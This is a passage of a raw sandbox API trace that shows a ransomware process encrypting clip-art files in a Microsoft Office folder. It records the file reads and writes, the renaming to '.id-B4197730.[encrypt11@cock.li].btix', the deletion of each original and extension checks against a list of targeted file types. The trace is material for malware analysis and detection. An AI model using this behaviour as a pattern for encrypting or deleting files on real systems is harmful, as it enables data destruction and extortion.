[0154.633] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.633] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.633] SetEndOfFile (hFile=0x358) returned 1 [0154.637] CloseHandle (hObject=0x358) returned 1 [0154.641] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.641] SetEndOfFile (hFile=0x35c) returned 1 [0154.671] CloseHandle (hObject=0x35c) returned 1 [0154.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0154.672] lstrlenW (lpString=".doc") returned 4 [0154.672] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.672] lstrlenW (lpString=".docx") returned 5 [0154.672] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0154.672] lstrlenW (lpString=".pdf") returned 4 [0154.672] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.672] lstrlenW (lpString=".xls") returned 4 [0154.672] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.672] lstrlenW (lpString=".xlsx") returned 5 [0154.672] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0154.672] lstrlenW (lpString=".ppt") returned 4 [0154.672] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0154.672] lstrlenW (lpString=".zip") returned 4 [0154.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.672] lstrlenW (lpString=".rar") returned 4 [0154.672] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.672] lstrlenW (lpString=".bz2") returned 4 [0154.672] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.672] lstrlenW (lpString=".7z") returned 3 [0154.672] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0154.673] lstrlenW (lpString=".dbf") returned 4 [0154.673] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0154.673] lstrlenW (lpString=".1cd") returned 4 [0154.673] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0154.673] lstrlenW (lpString=".jpg") returned 4 [0154.673] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.690] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.691] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.691] GetLastError () returned 0x0 [0154.691] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3c68, lpOverlapped=0x0) returned 1 [0154.693] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x3c70, lpOverlapped=0x0) returned 1 [0154.694] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.694] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.694] SetEndOfFile (hFile=0x374) returned 1 [0154.694] CloseHandle (hObject=0x374) returned 1 [0154.695] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.695] SetEndOfFile (hFile=0x35c) returned 1 [0154.695] CloseHandle (hObject=0x35c) returned 1 [0154.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0154.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0154.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0154.696] lstrlenW (lpString=".doc") returned 4 [0154.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.696] lstrlenW (lpString=".docx") returned 5 [0154.696] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0154.696] lstrlenW (lpString=".pdf") returned 4 [0154.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.696] lstrlenW (lpString=".xls") returned 4 [0154.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.696] lstrlenW (lpString=".xlsx") returned 5 [0154.696] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0154.696] lstrlenW (lpString=".ppt") returned 4 [0154.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0154.697] lstrlenW (lpString=".zip") returned 4 [0154.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.697] lstrlenW (lpString=".rar") returned 4 [0154.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.697] lstrlenW (lpString=".bz2") returned 4 [0154.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.697] lstrlenW (lpString=".7z") returned 3 [0154.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0154.697] lstrlenW (lpString=".dbf") returned 4 [0154.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0154.697] lstrlenW (lpString=".1cd") returned 4 [0154.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0154.697] lstrlenW (lpString=".jpg") returned 4 [0154.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.698] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.698] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.698] GetLastError () returned 0x0 [0154.698] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1a60, lpOverlapped=0x0) returned 1 [0154.708] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0154.708] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.708] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.709] SetEndOfFile (hFile=0x374) returned 1 [0154.709] CloseHandle (hObject=0x374) returned 1 [0154.709] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.709] SetEndOfFile (hFile=0x35c) returned 1 [0154.710] CloseHandle (hObject=0x35c) returned 1 [0154.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0154.710] lstrlenW (lpString=".doc") returned 4 [0154.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString=".docx") returned 5 [0154.710] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0154.710] lstrlenW (lpString=".pdf") returned 4 [0154.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString=".xls") returned 4 [0154.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.710] lstrlenW (lpString=".xlsx") returned 5 [0154.710] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0154.711] lstrlenW (lpString=".ppt") returned 4 [0154.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0154.711] lstrlenW (lpString=".zip") returned 4 [0154.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.711] lstrlenW (lpString=".rar") returned 4 [0154.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString=".bz2") returned 4 [0154.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString=".7z") returned 3 [0154.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0154.711] lstrlenW (lpString=".dbf") returned 4 [0154.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0154.711] lstrlenW (lpString=".1cd") returned 4 [0154.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0154.711] lstrlenW (lpString=".jpg") returned 4 [0154.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.711] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.711] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.712] GetLastError () returned 0x0 [0154.712] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3394, lpOverlapped=0x0) returned 1 [0154.714] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x33a0, lpOverlapped=0x0) returned 1 [0154.715] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.715] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.715] SetEndOfFile (hFile=0x374) returned 1 [0154.715] CloseHandle (hObject=0x374) returned 1 [0154.715] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.715] SetEndOfFile (hFile=0x35c) returned 1 [0154.716] CloseHandle (hObject=0x35c) returned 1 [0154.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0154.717] lstrlenW (lpString=".doc") returned 4 [0154.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString=".docx") returned 5 [0154.717] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0154.717] lstrlenW (lpString=".pdf") returned 4 [0154.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString=".xls") returned 4 [0154.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.717] lstrlenW (lpString=".xlsx") returned 5 [0154.717] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0154.717] lstrlenW (lpString=".ppt") returned 4 [0154.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0154.717] lstrlenW (lpString=".zip") returned 4 [0154.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.717] lstrlenW (lpString=".rar") returned 4 [0154.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString=".bz2") returned 4 [0154.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString=".7z") returned 3 [0154.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0154.717] lstrlenW (lpString=".dbf") returned 4 [0154.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0154.717] lstrlenW (lpString=".1cd") returned 4 [0154.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0154.717] lstrlenW (lpString=".jpg") returned 4 [0154.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.719] GetLastError () returned 0x0 [0154.719] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3418, lpOverlapped=0x0) returned 1 [0154.721] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x3420, lpOverlapped=0x0) returned 1 [0154.722] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.722] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.722] SetEndOfFile (hFile=0x374) returned 1 [0154.722] CloseHandle (hObject=0x374) returned 1 [0154.722] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.722] SetEndOfFile (hFile=0x35c) returned 1 [0154.723] CloseHandle (hObject=0x35c) returned 1 [0154.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0154.724] lstrlenW (lpString=".doc") returned 4 [0154.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString=".docx") returned 5 [0154.724] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0154.724] lstrlenW (lpString=".pdf") returned 4 [0154.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString=".xls") returned 4 [0154.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.724] lstrlenW (lpString=".xlsx") returned 5 [0154.724] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0154.724] lstrlenW (lpString=".ppt") returned 4 [0154.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0154.724] lstrlenW (lpString=".zip") returned 4 [0154.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.724] lstrlenW (lpString=".rar") returned 4 [0154.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString=".bz2") returned 4 [0154.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString=".7z") returned 3 [0154.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0154.725] lstrlenW (lpString=".dbf") returned 4 [0154.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0154.725] lstrlenW (lpString=".1cd") returned 4 [0154.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0154.725] lstrlenW (lpString=".jpg") returned 4 [0154.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.725] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.726] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.726] GetLastError () returned 0x0 [0154.726] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2a00, lpOverlapped=0x0) returned 1 [0154.738] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2a10, lpOverlapped=0x0) returned 1 [0154.739] ReadFile (in: hFile=0x35c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.739] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.739] SetEndOfFile (hFile=0x374) returned 1 [0154.740] CloseHandle (hObject=0x374) returned 1 [0154.740] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.740] SetEndOfFile (hFile=0x35c) returned 1 [0154.740] CloseHandle (hObject=0x35c) returned 1 [0154.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0155.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0155.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0155.152] lstrlenW (lpString=".doc") returned 4 [0155.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.152] lstrlenW (lpString=".docx") returned 5 [0155.152] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0155.152] lstrlenW (lpString=".pdf") returned 4 [0155.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.152] lstrlenW (lpString=".xls") returned 4 [0155.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.152] lstrlenW (lpString=".xlsx") returned 5 [0155.152] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0155.152] lstrlenW (lpString=".ppt") returned 4 [0155.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.152] 